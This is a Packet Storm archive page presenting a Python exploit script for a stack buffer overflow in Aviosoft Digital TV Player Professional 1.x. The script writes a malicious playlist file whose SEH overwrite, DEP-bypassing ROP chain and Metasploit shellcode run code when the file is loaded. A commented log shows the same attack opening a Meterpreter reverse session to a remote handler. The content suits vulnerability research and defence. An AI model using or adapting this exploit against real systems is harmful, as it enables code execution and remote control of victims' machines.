exploit the possibilities

Aviosoft Digital TV Player Professional 1.x Buffer Overflow

Aviosoft Digital TV Player Professional 1.x Buffer Overflow
Posted Nov 9, 2011
Authored by modpr0be

Aviosoft Digital TV Player Professional version 1.x stack buffer overflow exploit that spawns calc.exe.

tags | exploit, overflow
MD5 | f4beae934cde090009a3740b70e26d08

Aviosoft Digital TV Player Professional 1.x Buffer Overflow

Change Mirror Download
# Exploit Title: Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow
# Author: modpr0be
# Software Download: http://www.aviosoft.com/download.php?product=dtvplayerpro
# Date: 08/11/2011
# Tested on: Windows XP SP3, Windows 7 SP1
# Thanks: corelanc0d3r, cyb3r.anbu, otoy, sickness, 5m7x, loneferret, _sinn3r, mr_me

#
# msf exploit(handler) > exploit
#
# [*] Started reverse handler on 10.5.5.5:443
# [*] Starting the payload handler...
# [*] Sending stage (752128 bytes) to 10.5.5.14
# [*] Meterpreter session 1 opened (10.5.5.5:443 -> 10.5.5.14:49592) at 2011-09-27 21:15:34 +0700
#
# meterpreter > sysinfo
# Computer : M1ABRAMS
# OS : Windows 7 (Build 7601, Service Pack 1).
# Architecture : x86
# System Language : en_US
# Meterpreter : x86/win32
# meterpreter >
#
# but this time, it will pop up calc
# How to:
# open aviosoft digital tv player --> load playlist --> choose adtv_bof.plf --> calc
# it's generated using mona.py with some modifications ;) thx corelanc0d3r

#!/usr/bin/python

import struct
file = 'adtv_bof.plf'

totalsize = 5000
junk = 'A' * 872
align = 'B' * 136

# aslr, dep bypass using pushad technique
seh = struct.pack('<L', 0x6130534a) # ADD ESP,800 # RETN
rop = struct.pack('<L', 0x61326003) * 10 # RETN (ROP NOP)
rop+= struct.pack('<L', 0x6405347a) # POP EDX # RETN
rop+= struct.pack('<L', 0x10011108) # ptr to &VirtualProtect()
rop+= struct.pack('<L', 0x64010503) # PUSH EDX # POP EAX # POP ESI # RETN
rop+= struct.pack('<L', 0x41414141) # Filler (compensate)
rop+= struct.pack('<L', 0x6160949f) # MOV ECX,DWORD PTR DS:[EDX] # POP ESI
rop+= struct.pack('<L', 0x41414141) * 3 # Filler (compensate)
rop+= struct.pack('<L', 0x61604218) # PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C
rop+= struct.pack('<L', 0x41414141) * 3 # Filler (RETN offset compensation)
rop+= struct.pack('<L', 0x6403d1a6) # POP EBP # RETN
rop+= struct.pack('<L', 0x41414141) * 3 # Filler (RETN offset compensation)
rop+= struct.pack('<L', 0x60333560) # & push esp # ret 0c
rop+= struct.pack('<L', 0x61323EA8) # POP EAX # RETN
rop+= struct.pack('<L', 0xA13977DF) # 0x00000343-> ebx
rop+= struct.pack('<L', 0x640203fc) # ADD EAX,5EC68B64 # RETN
rop+= struct.pack('<L', 0x6163d37b) # PUSH EAX # ADD AL,5E # POP EBX # RETN
rop+= struct.pack('<L', 0x61626807) # XOR EAX,EAX # RETN
rop+= struct.pack('<L', 0x640203fc) # ADD EAX,5EC68B64 # RETN
rop+= struct.pack('<L', 0x6405347a) # POP EDX # RETN
rop+= struct.pack('<L', 0xA13974DC) # 0x00000040-> edx
rop+= struct.pack('<L', 0x613107fb) # ADD EDX,EAX # MOV EAX,EDX # RETN
rop+= struct.pack('<L', 0x60326803) # POP ECX # RETN
rop+= struct.pack('<L', 0x60350340) # &Writable location
rop+= struct.pack('<L', 0x61329e07) # POP EDI # RETN
rop+= struct.pack('<L', 0x61326003) # RETN (ROP NOP)
rop+= struct.pack('<L', 0x60340178) # POP EAX # RETN
rop+= struct.pack('<L', 0x90909090) # nop
rop+= struct.pack('<L', 0x60322e02) # PUSHAD # RETN

nop = '\x90' * 32

# windows/exec - 223 bytes
# http://www.metasploit.com

calc = (
"\xbf\x77\xbf\x23\x29\xdd\xc1\xd9\x74\x24\xf4\x58\x2b\xc9"
"\xb1\x32\x31\x78\x12\x03\x78\x12\x83\xb7\xbb\xc1\xdc\xcb"
"\x2c\x8c\x1f\x33\xad\xef\x96\xd6\x9c\x3d\xcc\x93\x8d\xf1"
"\x86\xf1\x3d\x79\xca\xe1\xb6\x0f\xc3\x06\x7e\xa5\x35\x29"
"\x7f\x0b\xfa\xe5\x43\x0d\x86\xf7\x97\xed\xb7\x38\xea\xec"
"\xf0\x24\x05\xbc\xa9\x23\xb4\x51\xdd\x71\x05\x53\x31\xfe"
"\x35\x2b\x34\xc0\xc2\x81\x37\x10\x7a\x9d\x70\x88\xf0\xf9"
"\xa0\xa9\xd5\x19\x9c\xe0\x52\xe9\x56\xf3\xb2\x23\x96\xc2"
"\xfa\xe8\xa9\xeb\xf6\xf1\xee\xcb\xe8\x87\x04\x28\x94\x9f"
"\xde\x53\x42\x15\xc3\xf3\x01\x8d\x27\x02\xc5\x48\xa3\x08"
"\xa2\x1f\xeb\x0c\x35\xf3\x87\x28\xbe\xf2\x47\xb9\x84\xd0"
"\x43\xe2\x5f\x78\xd5\x4e\x31\x85\x05\x36\xee\x23\x4d\xd4"
"\xfb\x52\x0c\xb2\xfa\xd7\x2a\xfb\xfd\xe7\x34\xab\x95\xd6"
"\xbf\x24\xe1\xe6\x15\x01\x1d\xad\x34\x23\xb6\x68\xad\x76"
"\xdb\x8a\x1b\xb4\xe2\x08\xae\x44\x11\x10\xdb\x41\x5d\x96"
"\x37\x3b\xce\x73\x38\xe8\xef\x51\x5b\x6f\x7c\x39\x9c")

sisa = 'C' * (totalsize - len(seh+rop+nop+calc))

payload = junk+seh+align+rop+nop+calc+sisa

f = open(file,'w')
print "Author: modpr0be"
print "Payload size: ", len(payload)
f.write(payload)
print "File",file, "successfully created"
f.close()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    16 Files
  • 18
    Sep 18th
    8 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close